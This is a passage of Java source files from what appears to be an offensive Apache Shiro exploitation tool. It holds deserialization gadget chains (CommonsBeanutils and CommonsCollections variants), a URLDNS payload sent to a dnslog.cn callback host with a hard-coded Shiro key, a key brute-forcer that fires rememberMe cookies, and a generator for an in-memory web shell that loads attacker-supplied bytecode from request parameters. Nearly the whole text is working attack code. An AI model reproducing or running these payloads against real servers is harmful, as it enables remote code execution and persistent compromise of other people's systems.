BeanComparator(null, new PropertySource.Comparator()); 29 | 30 | PriorityQueue queue = new PriorityQueue(2, beanComparator); 31 | 32 | queue.add(propertySource1); 33 | queue.add(propertySource1); 34 | 35 | 36 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 37 | 38 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 39 | 40 | return (Queue)queue; 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsPropertySource_183.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.JavassistClassLoader; 6 | import com.summersec.attack.deser.util.Reflections; 7 | import com.summersec.attack.deser.util.StandardExecutorClassLoader; 8 | import javassist.ClassClassPath; 9 | import javassist.ClassPool; 10 | import javassist.CtClass; 11 | import javassist.CtField; 12 | import org.apache.commons.beanutils.BeanComparator; 13 | import org.apache.logging.log4j.util.PropertySource; 14 | 15 | import java.util.Comparator; 16 | import java.util.PriorityQueue; 17 | import java.util.Queue; 18 | 19 | // org.apache.logging.log4j 20 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 21 | @Authors({"SummerSec"}) 22 | 23 | public class CommonsBeanutilsPropertySource_183 implements ObjectPayload>{ 24 | 25 | @Override 26 | public Queue getObject(Object template) throws Exception { 27 | PropertySource propertySource1 = new PropertySource() { 28 | @Override 29 | public int getPriority() { 30 | return 0; 31 | } 32 | 33 | }; 34 | 35 | // BeanComparator beanComparator = new BeanComparator(null, new PropertySource.Comparator()); 36 | // StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2"); 37 | // Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 38 | // System.out.println(u.getPackage()); 39 | // 40 | //// BeanComparator beanComparator = new BeanComparator(null, new AttrCompare()); 41 | // Object beanComparator = u.getDeclaredConstructor(String.class, Comparator.class).newInstance(null, new PropertySource.Comparator()); 42 | ClassPool pool = ClassPool.getDefault(); 43 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 44 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 45 | try { 46 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 47 | ctBeanComparator.removeField(ctSUID); 48 | }catch (javassist.NotFoundException e){} 49 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 50 | final Comparator beanComparator = (Comparator)ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 51 | ctBeanComparator.defrost(); 52 | Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); 53 | 54 | 55 | 56 | PriorityQueue queue = new PriorityQueue(2, (Comparator) beanComparator); 57 | 58 | queue.add(propertySource1); 59 | queue.add(propertySource1); 60 | 61 | 62 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 63 | 64 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 65 | // Reflections.setFieldValue(beanComparator, "comparator", new PropertySource.Comparator()); 66 | 67 | return (Queue)queue; 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsString.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.Reflections; 6 | import java.util.Comparator; 7 | import java.util.PriorityQueue; 8 | import java.util.Queue; 9 | import org.apache.commons.beanutils.BeanComparator; 10 | 11 | 12 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 13 | @Authors({"phith0n"}) 14 | public class CommonsBeanutilsString implements ObjectPayload> { 15 | @Override 16 | public Queue getObject(Object template) throws Exception { 17 | BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 18 | 19 | PriorityQueue queue = new PriorityQueue(2, (Comparator)beanComparator); 20 | 21 | queue.add("1"); 22 | queue.add("1"); 23 | 24 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 25 | 26 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 27 | 28 | return (Queue)queue; 29 | } 30 | } 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsString_183.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.JavassistClassLoader; 6 | import com.summersec.attack.deser.util.Reflections; 7 | import java.util.Comparator; 8 | import java.util.PriorityQueue; 9 | import java.util.Queue; 10 | 11 | import com.summersec.attack.deser.util.StandardExecutorClassLoader; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | import javassist.CtField; 16 | import org.apache.commons.beanutils.BeanComparator; 17 | 18 | 19 | @Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) 20 | @Authors({"phith0n"}) 21 | public class CommonsBeanutilsString_183 implements ObjectPayload> { 22 | @Override 23 | public Queue getObject(Object template) throws Exception { 24 | 25 | // StandardExecutorClassLoader classLoader = new StandardExecutorClassLoader("1.9.2"); 26 | // Class u = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | // System.out.println(u.getPackage()); 28 | ClassPool pool = ClassPool.getDefault(); 29 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 30 | final CtClass ctBeanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 31 | try { 32 | CtField ctSUID = ctBeanComparator.getDeclaredField("serialVersionUID"); 33 | ctBeanComparator.removeField(ctSUID); 34 | }catch (javassist.NotFoundException e){} 35 | ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator)); 36 | final Comparator beanComparator = (Comparator)ctBeanComparator.toClass(new JavassistClassLoader()).newInstance(); 37 | ctBeanComparator.defrost(); 38 | Reflections.setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); 39 | 40 | // UrlClassLoaderUtils urlClassLoaderUtils = new UrlClassLoaderUtils(); 41 | // Class u = urlClassLoaderUtils.loadJar("").loadClass("org.apache.commons.beanutils.BeanComparator"); 42 | 43 | // Object beanComparator = u.getDeclaredConstructor(String.class,Comparator.class).newInstance(null, String.CASE_INSENSITIVE_ORDER); 44 | 45 | 46 | 47 | PriorityQueue queue = new PriorityQueue(2, (Comparator)beanComparator); 48 | 49 | queue.add("1"); 50 | queue.add("1"); 51 | 52 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 53 | 54 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 55 | // Reflections.setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER); 56 | 57 | return (Queue)queue; 58 | } 59 | 60 | public static void main(String[] args) throws Exception { 61 | CommonsBeanutilsString_183 commonsBeanutilsString192 = new CommonsBeanutilsString_183(); 62 | commonsBeanutilsString192.getObject(new Object()); 63 | 64 | } 65 | } 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsBeanutilsString_192s.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.JavassistClassLoader; 6 | import com.summersec.attack.deser.util.Reflections; 7 | import java.util.Comparator; 8 | import java.util.PriorityQueue; 9 | import java.util.Queue; 10 | 11 | import com.summersec.attack.deser.util.StandardExecutorClassLoader; 12 | import javassist.ClassClassPath; 13 | import javassist.ClassPool; 14 | import javassist.CtClass; 15 | import javassist.CtField; 16 | 17 | 18 | @Dependencies({"commons-beanutils:commons-beanutils:1.6.1"}) 19 | @Authors({"phith0n"}) 20 | public class CommonsBeanutilsString_192s implements ObjectPayload> { 21 | @Override 22 | public Queue getObject(Object template) throws Exception { 23 | 24 | ClassPool pool = ClassPool.getDefault(); 25 | pool.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator"))); 26 | final CtClass beanComparator = pool.get("org.apache.commons.beanutils.BeanComparator"); 27 | 28 | try { 29 | CtField ctSUID = beanComparator.getDeclaredField("serialVersionUID"); 30 | beanComparator.removeField(ctSUID); 31 | }catch (javassist.NotFoundException e){} 32 | beanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", beanComparator)); 33 | // mock method name until armed 34 | final Comparator comparator = (Comparator)beanComparator.toClass(new JavassistClassLoader()).newInstance(); 35 | beanComparator.defrost(); 36 | 37 | PriorityQueue queue = new PriorityQueue(2, (Comparator)comparator); 38 | 39 | queue.add("1"); 40 | queue.add("1"); 41 | 42 | Reflections.setFieldValue(queue, "queue", new Object[] { template, template }); 43 | 44 | Reflections.setFieldValue(beanComparator, "property", "outputProperties"); 45 | 46 | return (Queue)queue; 47 | } 48 | 49 | public static void main(String[] args) throws Exception { 50 | CommonsBeanutilsString_192s commonsBeanutilsString192 = new CommonsBeanutilsString_192s(); 51 | commonsBeanutilsString192.getObject(new Object()); 52 | 53 | } 54 | } 55 | 56 | 57 | 58 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsCollections2.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 4 | import com.summersec.attack.deser.util.Reflections; 5 | import java.util.Comparator; 6 | import java.util.PriorityQueue; 7 | import java.util.Queue; 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.comparators.TransformingComparator; 10 | import org.apache.commons.collections4.functors.InvokerTransformer; 11 | 12 | 13 | @Dependencies({"org.apache.commons:commons-collections4:4.0"}) 14 | public class CommonsCollections2 implements ObjectPayload> { 15 | @Override 16 | public Queue getObject(Object templates) throws Exception { 17 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 18 | 19 | 20 | PriorityQueue queue = new PriorityQueue(2, (Comparator)new TransformingComparator((Transformer)transformer)); 21 | 22 | queue.add(Integer.valueOf(1)); 23 | queue.add(Integer.valueOf(1)); 24 | 25 | 26 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 27 | 28 | 29 | Object[] queueArray = (Object[])Reflections.getFieldValue(queue, "queue"); 30 | queueArray[0] = templates; 31 | queueArray[1] = Integer.valueOf(1); 32 | 33 | return queue; 34 | } 35 | } 36 | 37 | 38 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsCollections3.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 4 | import com.summersec.attack.deser.util.Gadgets; 5 | import com.summersec.attack.deser.util.Reflections; 6 | import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 7 | import java.lang.reflect.InvocationHandler; 8 | import java.util.HashMap; 9 | import java.util.Map; 10 | import javax.xml.transform.Templates; 11 | import org.apache.commons.collections.Transformer; 12 | import org.apache.commons.collections.functors.ChainedTransformer; 13 | import org.apache.commons.collections.functors.ConstantTransformer; 14 | import org.apache.commons.collections.functors.InstantiateTransformer; 15 | import org.apache.commons.collections.map.LazyMap; 16 | 17 | 18 | 19 | @Dependencies({"commons-collections:commons-collections:3.1"}) 20 | public class CommonsCollections3 implements ObjectPayload { 21 | @Override 22 | public Object getObject(Object templatesImpl) throws Exception { 23 | ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] { (Transformer)new ConstantTransformer(Integer.valueOf(1)) }); 24 | 25 | Transformer[] transformers = { (Transformer)new ConstantTransformer(TrAXFilter.class), (Transformer)new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) }; 26 | 27 | 28 | Map innerMap = new HashMap<>(); 29 | 30 | Map lazyMap = LazyMap.decorate(innerMap, (Transformer)chainedTransformer); 31 | 32 | Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]); 33 | 34 | InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); 35 | 36 | Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); 37 | 38 | return handler; 39 | } 40 | } 41 | 42 | 43 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.Reflections; 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | import org.apache.commons.collections.Transformer; 9 | import org.apache.commons.collections.functors.InvokerTransformer; 10 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 11 | import org.apache.commons.collections.map.LazyMap; 12 | 13 | 14 | @Dependencies({"commons-collections:commons-collections:<=3.2.1"}) 15 | @Authors({"KORLR"}) 16 | public class CommonsCollectionsK1 implements ObjectPayload { 17 | @Override 18 | public Map getObject(Object tpl) throws Exception { 19 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 20 | 21 | HashMap innerMap = new HashMap<>(); 22 | Map m = LazyMap.decorate(innerMap, (Transformer)transformer); 23 | 24 | Map outerMap = new HashMap<>(); 25 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 26 | outerMap.put(tied, "t"); 27 | 28 | innerMap.clear(); 29 | 30 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 31 | return outerMap; 32 | } 33 | } 34 | 35 | 36 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.deser.payloads.annotation.Authors; 4 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 5 | import com.summersec.attack.deser.util.Reflections; 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | import org.apache.commons.collections4.Transformer; 9 | import org.apache.commons.collections4.functors.InvokerTransformer; 10 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 11 | import org.apache.commons.collections4.map.LazyMap; 12 | 13 | 14 | @Dependencies({"commons-collections:commons-collections4:4.0"}) 15 | @Authors({"KORLR"}) 16 | public class CommonsCollectionsK2 implements ObjectPayload { 17 | @Override 18 | public Map getObject(Object tpl) throws Exception { 19 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 20 | 21 | HashMap innerMap = new HashMap<>(); 22 | LazyMap lazyMap = LazyMap.lazyMap(innerMap, (Transformer)transformer); 23 | 24 | Map outerMap = new HashMap<>(); 25 | TiedMapEntry tied = new TiedMapEntry((Map)lazyMap, tpl); 26 | outerMap.put(tied, "t"); 27 | 28 | innerMap.clear(); 29 | 30 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 31 | return outerMap; 32 | } 33 | } 34 | 35 | 36 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/ObjectPayload.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.sun.xml.internal.ws.util.StringUtils; 4 | 5 | 6 | 7 | public interface ObjectPayload { T getObject(Object paramObject) throws Exception; 8 | 9 | public static class Utils { 10 | public static Class getPayloadClass(String className) { 11 | Class clazz = null; 12 | try { 13 | clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className)); 14 | } catch (Exception exception) {} 15 | 16 | return clazz; 17 | } 18 | } 19 | } 20 | 21 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/URLDNS.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.summersec.attack.core.AttackService; 4 | import com.summersec.attack.deser.frame.Shiro; 5 | import com.summersec.attack.deser.payloads.annotation.Authors; 6 | import com.summersec.attack.deser.payloads.annotation.Dependencies; 7 | import com.summersec.attack.deser.payloads.annotation.PayloadTest; 8 | import com.summersec.attack.deser.util.Reflections; 9 | import java.io.IOException; 10 | import java.net.InetAddress; 11 | import java.net.URL; 12 | import java.net.URLConnection; 13 | import java.net.URLStreamHandler; 14 | import java.util.HashMap; 15 | 16 | 17 | 18 | @PayloadTest(skip = "true") 19 | @Dependencies 20 | @Authors({"GEBL"}) 21 | public class URLDNS { 22 | public URLDNS() { 23 | } 24 | 25 | public Object getObject(String url) throws Exception { 26 | URLStreamHandler handler = new URLDNS.SilentURLStreamHandler(); 27 | HashMap ht = new HashMap(); 28 | URL u = new URL((URL)null, url, handler); 29 | ht.put(u, url); 30 | Reflections.setFieldValue(u, "hashCode", -1); 31 | return ht; 32 | } 33 | 34 | public static void main(String[] args) throws Exception { 35 | Object dnslog = (new URLDNS()).getObject("http://c996hs.dnslog.cn"); 36 | Shiro shiro = new Shiro(); 37 | AttackService.aesGcmCipherType = 1; 38 | String sendpayload = shiro.sendpayload(dnslog, "rememberMe", "4AvVhmFLUs0KTA3Kprsdag=="); 39 | System.out.println(sendpayload); 40 | } 41 | 42 | static class SilentURLStreamHandler extends URLStreamHandler { 43 | SilentURLStreamHandler() { 44 | } 45 | 46 | @Override 47 | protected URLConnection openConnection(URL u) throws IOException { 48 | return null; 49 | } 50 | 51 | @Override 52 | protected synchronized InetAddress getHostAddress(URL u) { 53 | return null; 54 | } 55 | } 56 | } 57 | 58 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/annotation/Authors.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target({ElementType.TYPE}) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Authors { 12 | public static final String FROHOFF = "frohoff"; 13 | public static final String KORLR = "KORLR"; 14 | public static final String phith0n = "phith0n"; 15 | public static final String MATTHIASKAISER = "MATTHIASKAISER"; 16 | public static final String GEBL = "GEBL"; 17 | 18 | 19 | String[] value() default {}; 20 | 21 | public static class Utils { 22 | public static String[] getAuthors(AnnotatedElement annotated) { 23 | Authors authors = annotated.getAnnotation(Authors.class); 24 | if (authors != null && authors.value() != null) { 25 | return authors.value(); 26 | } 27 | return new String[0]; 28 | } 29 | } 30 | } 31 | 32 | 33 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/annotation/Dependencies.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads.annotation; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | import java.lang.reflect.AnnotatedElement; 8 | 9 | @Target({ElementType.TYPE}) 10 | @Retention(RetentionPolicy.RUNTIME) 11 | public @interface Dependencies { 12 | String[] value() default {}; 13 | 14 | public static class Utils { 15 | public static String[] getDependencies(AnnotatedElement annotated) { 16 | Dependencies deps = annotated.getAnnotation(Dependencies.class); 17 | if (deps != null && deps.value() != null) { 18 | return deps.value(); 19 | } 20 | return new String[0]; 21 | } 22 | 23 | 24 | public static String[] getDependenciesSimple(AnnotatedElement annotated) { 25 | String[] deps = getDependencies(annotated); 26 | String[] simple = new String[deps.length]; 27 | for (int i = 0; i < simple.length; i++) { 28 | simple[i] = deps[i].split(":", 2)[1]; 29 | } 30 | return simple; 31 | } 32 | } 33 | } 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/annotation/PayloadTest.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads.annotation; 2 | 3 | import java.lang.annotation.Retention; 4 | import java.lang.annotation.RetentionPolicy; 5 | 6 | @Retention(RetentionPolicy.RUNTIME) 7 | public @interface PayloadTest { 8 | String skip() default ""; 9 | 10 | String precondition() default ""; 11 | 12 | String harness() default ""; 13 | 14 | String flaky() default ""; 15 | } 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/payloads/test.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.payloads; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 5 | import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; 6 | import org.apache.commons.beanutils.BeanComparator; 7 | 8 | import java.lang.reflect.Field; 9 | import java.util.PriorityQueue; 10 | 11 | /** 12 | * @ClassName: test 13 | * @Description: TODO 14 | * @Author: Summer 15 | * @Date: 2021/6/6 18:56 16 | * @Version: v1.0.0 17 | * @Description: 18 | **/ 19 | public class test { 20 | public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { 21 | Field field = obj.getClass().getDeclaredField(fieldName); 22 | field.setAccessible(true); 23 | field.set(obj, value); 24 | } 25 | 26 | public void getPayload(byte[] clazzBytes) throws Exception { 27 | TemplatesImpl obj = new TemplatesImpl(); 28 | setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); 29 | setFieldValue(obj, "_name", "HelloTemplatesImpl"); 30 | setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); 31 | AttrCompare compare1 = new AttrCompare(); 32 | AttrCompare compare2 = new AttrCompare(); 33 | 34 | 35 | // final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); 36 | final BeanComparator comparator = new BeanComparator(null, new AttrCompare()); 37 | final PriorityQueue queue = new PriorityQueue(2, comparator); 38 | // stub data for replacement later 39 | queue.add(compare1); 40 | queue.add(compare2); 41 | 42 | 43 | setFieldValue(comparator, "property", "outputProperties"); 44 | setFieldValue(queue, "queue", new Object[]{obj, obj}); 45 | 46 | } 47 | 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/plugins/InjectMemTool.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.plugins; 2 | 3 | import com.summersec.attack.deser.echo.EchoPayload; 4 | import com.summersec.attack.utils.Utils; 5 | import javassist.ClassPool; 6 | import javassist.CtClass; 7 | import javassist.CtMethod; 8 | import javassist.CtNewConstructor; 9 | 10 | import java.util.regex.Matcher; 11 | import java.util.regex.Pattern; 12 | 13 | 14 | public class InjectMemTool implements InjectPayload { 15 | @Override 16 | public CtClass genPayload(ClassPool pool,String payloadskey) throws Exception { 17 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime()); 18 | if ((clazz.getDeclaredConstructors()).length != 0) { 19 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]); 20 | } 21 | clazz.addMethod(CtMethod.make(" private static Object getFV(Object o, String s) throws Exception {\n java.lang.reflect.Field f = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n f = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException e) {\n clazz = clazz.getSuperclass();\n }\n }\n if (f == null) {\n throw new NoSuchFieldException(s);\n }\n f.setAccessible(true);\n return f.get(o);\n}", clazz)); 22 | clazz.addConstructor(CtNewConstructor.make(" public InjectMemTool() {\n try {\n Object o;\n String s;\n String user = null;\n Object resp;\n boolean done = false;\n Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n for (int i = 0; i < ts.length; i++) {\n Thread t = ts[i];\n if (t == null) {\n continue;\n }\n s = t.getName();\n if (!s.contains(\"exec\") && s.contains(\"http\")) {\n o = getFV(t, \"target\");\n if (!(o instanceof Runnable)) {\n continue;\n }\n\n try {\n o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception e) {\n continue;\n }\n\n java.util.List ps = (java.util.List) getFV(o, \"processors\");\n for (int j = 0; j < ps.size(); j++) {\n Object p = ps.get(j);\n o = getFV(p, \"req\");\n resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n\n Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n\n user = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\""+payloadskey+"\")});\n\n if (user != null && !user.isEmpty()) {\n byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);\n\n java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n defineClassMethod.setAccessible(true);\n\n Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n\n cc.newInstance().equals(conreq);\n done = true;\n }\n if (done) {\n break;\n }\n }\n }\n }\n } catch (Exception e) {\n ;\n }\n}",clazz)); 23 | // 49-55分别为jdk1.5到jdk11 24 | // clazz.getClassFile().setMajorVersion(52); 25 | return clazz; 26 | } 27 | } 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/plugins/InjectPayload.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.plugins; 2 | 3 | import com.sun.xml.internal.ws.util.StringUtils; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | 7 | 8 | public interface InjectPayload { 9 | CtClass genPayload(ClassPool paramClassPool,String payloadskey) throws Exception; 10 | 11 | public static class Utils 12 | { 13 | public static Class getPayloadClass(String className) throws ClassNotFoundException { 14 | Class clazz = null; 15 | try { 16 | clazz = (Class)Class.forName("com.summersec.attack.deser.echo." + StringUtils.capitalize(className)); 17 | } catch (ClassNotFoundException e1) { 18 | clazz = (Class)Class.forName("com.summersec.attack.deser.plugins." + StringUtils.capitalize(className)); 19 | } catch (Exception e) { 20 | e.printStackTrace(); 21 | } 22 | return clazz; 23 | } 24 | } 25 | } 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/plugins/keytest/KeyEcho.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.plugins.keytest; 2 | import com.summersec.attack.deser.frame.Shiro; 3 | 4 | import java.io.*; 5 | import java.util.ArrayList; 6 | import java.util.Arrays; 7 | import java.util.List; 8 | import org.apache.commons.lang.StringUtils; 9 | import org.apache.shiro.subject.SimplePrincipalCollection; 10 | 11 | public class KeyEcho { 12 | public KeyEcho() { 13 | } 14 | 15 | public static Object getObject() { 16 | return new SimplePrincipalCollection(); 17 | } 18 | 19 | public static void main(String[] args) throws Exception { 20 | Object keyObject = getObject(); 21 | List shiroKeys = new ArrayList(); 22 | String cwd = System.getProperty("user.dir"); 23 | List array = new ArrayList(Arrays.asList(cwd, "resources", "shiro_keys.txt")); 24 | File shiro_file = new File(StringUtils.join(array, File.separator)); 25 | BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(shiro_file), "UTF-8")); 26 | 27 | try { 28 | String line; 29 | try { 30 | while((line = br.readLine()) != null) { 31 | shiroKeys.add(line); 32 | } 33 | } catch (IOException var15) { 34 | var15.printStackTrace(); 35 | } 36 | } finally { 37 | if (br != null) { 38 | br.close(); 39 | } 40 | 41 | } 42 | 43 | Shiro shiro = new Shiro(); 44 | 45 | for(int i = 0; i < shiroKeys.size(); ++i) { 46 | String shirokey = (String)shiroKeys.get(i); 47 | 48 | try { 49 | String sendpayload = shiro.sendpayload(keyObject, "rememberMe", shirokey); 50 | System.out.println(shiro.sendpayload(sendpayload, "rememberMe", shirokey)); 51 | } catch (Exception var14) { 52 | System.out.println("[x] " + var14.getMessage()); 53 | } 54 | } 55 | 56 | } 57 | } 58 | 59 | 60 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/plugins/orgFile/InjectMemToolFile.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.plugins.orgFile; 2 | //这个是InjectMemTool生成的字节码源文件 3 | public class InjectMemToolFile { 4 | private static Object getFV(Object o, String s) throws Exception { 5 | java.lang.reflect.Field f = null; 6 | Class clazz = o.getClass(); 7 | while (clazz != Object.class) { 8 | try { 9 | f = clazz.getDeclaredField(s); 10 | break; 11 | } catch (NoSuchFieldException e) { 12 | clazz = clazz.getSuperclass(); 13 | } 14 | } 15 | if (f == null) { 16 | throw new NoSuchFieldException(s); 17 | } 18 | f.setAccessible(true); 19 | return f.get(o); 20 | } 21 | public InjectMemToolFile() { 22 | try { 23 | Object o; 24 | String s; 25 | String user = null; 26 | Object resp; 27 | boolean done = false; 28 | Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads"); 29 | for (int i = 0; i < ts.length; i++) { 30 | Thread t = ts[i]; 31 | if (t == null) { 32 | continue; 33 | } 34 | s = t.getName(); 35 | if (!s.contains("exec") && s.contains("http")) { 36 | o = getFV(t, "target"); 37 | if (!(o instanceof Runnable)) { 38 | continue; 39 | } 40 | 41 | try { 42 | o = getFV(getFV(getFV(o, "this$0"), "handler"), "global"); 43 | } catch (Exception e) { 44 | continue; 45 | } 46 | String a = "ad"; 47 | new String(a); 48 | java.util.List ps = (java.util.List) getFV(o, "processors"); 49 | for (int j = 